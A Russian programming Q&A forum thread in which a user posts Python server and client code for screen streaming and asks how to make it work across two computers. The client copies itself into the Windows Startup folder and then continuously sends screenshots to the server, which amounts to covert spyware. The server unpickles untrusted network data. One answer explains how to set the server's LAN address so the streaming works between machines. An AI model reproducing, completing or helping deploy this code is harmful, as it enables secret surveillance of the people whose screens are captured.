@Fox1212

Тот ли locallhost я указал?

У меня есть код, для сервера и клиента для передачи записи экрана, на одном ПК он работает, а на двух будет ли работать есть ли я в locallhost указал 127.0.0.1, если работать не будет то что указывать?

Сервер
import socket
import cv2
import pickle
import numpy as np
import struct

HOST = '127.0.0.1'
PORT = 7777

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket created')

s.bind((HOST, PORT))
print('Socket bind complete')
s.listen(10)
print('Socket now listening')

conn, addr = s.accept()

data = b''
payload_size = struct.calcsize("Q")  # Изменил "L" на "Q" для поддержки 64-битных систем

while True:
    while len(data) < payload_size:
        packet = conn.recv(4096)
        if not packet:
            break
        data += packet

    packed_msg_size = data[:payload_size]
    data = data[payload_size:]
    msg_size = struct.unpack("Q", packed_msg_size)[0]

    while len(data) < msg_size:
        data += conn.recv(4096)

    frame_data = data[:msg_size]
    data = data[msg_size:]

    frame = pickle.loads(frame_data)
    frame = cv2.imdecode(np.frombuffer(frame, np.uint8), cv2.IMREAD_COLOR)
    cv2.imshow('Заголовок окна', frame)

    if cv2.waitKey(1) == ord('q'):
        break

cv2.destroyAllWindows()
conn.close()


Клиент
import socket
import pickle
import struct
import pyautogui
import cv2
import numpy as np
from PIL import Image
import os
import shutil

# Перемещение программы в автозагрузку
def move_to_startup():
    # Путь к файлу, который нужно переместить (ваш текущий скрипт)
    source_file = os.path.abspath(__file__)

    # Папка автозагрузки для текущего пользователя
    startup_folder = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')

    # Целевой путь, куда будет перемещен файл
    target_file = os.path.join(startup_folder, os.path.basename(source_file))

    # Перемещение файла
    if not os.path.exists(target_file):
        shutil.copy2(source_file, target_file)
        print(f"Файл перемещен в автозагрузку: {target_file}")
    else:
        print(f"Файл уже находится в автозагрузке: {target_file}")

# Вызов функции перемещения программы в автозагрузку
move_to_startup()

# Основная функция клиента
def main():
    clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    clientsocket.connect(('127.0.0.1', 7777))

    while True:
        image = pyautogui.screenshot()
        image = image.resize((1366, 768), Image.LANCZOS)
        image = np.array(image)

        # Конвертация изображения в BGR для OpenCV
        image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)

        # Сжатие изображения для уменьшения размера данных
        _, frame = cv2.imencode('.jpg', image, [cv2.IMWRITE_JPEG_QUALITY, 70])

        data = pickle.dumps(frame)
        message_size = struct.pack("Q", len(data))

        clientsocket.sendall(message_size + data)

# Запуск основной функции клиента
if __name__ == "__main__":
    main()
  • Вопрос задан
  • 152 просмотра
Пригласить эксперта
Ответы на вопрос 2
VoidVolker
@VoidVolker
Dark side eye. А у нас печеньки! А у вас?
Ответ написан
Комментировать
@R0bur
localhost - это имя для петлевого (loopback) сетевого интерфейса компьютера, которому назначен IP-адрес 127.0.0.1. Этот сетевой интерфейс предназначен для взаимодействия приложений по протоколу TCP/IP в пределах одного устройства (компьютера).

Чтобы организовать взаимодействие в сети по протоколу TCP/IP между разными компьютерами, они должны иметь сетевые интерфейсы (адаптеры), подключённые к этой сети. Этим сетевым интерфейсам назначаются разные IP-адреса, вручную или автоматически, например, DHCP-сервером. Подсмотреть эти адреса можно в свойствах сетевого адаптера или с помощью команды ipconfig в Windows и ifconfig в Linux.

В приведенном примере переменной HOST серверной части надо присвоить IP-адрес сетевого интерфейса сервера, на который будут приниматься запросы. А в строке clientsocket.connect(('127.0.0.1', 7777)) клиентской части вместо 127.0.0.1 надо тоже указать IP-адрес сетевого интерфейса сервера (что-то вроде '192.168....' или '10.....') , куда должны отправляться запросы. Таким образом, IP-адрес клиента в данном случае интереса не представляет.

Чтобы сетевое взаимодействие осуществилось, возможно, потребуется настроить брандмауэры сервера и клиента.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы
08 окт. 2024, в 17:08
10000 руб./за проект
08 окт. 2024, в 17:01
15000 руб./за проект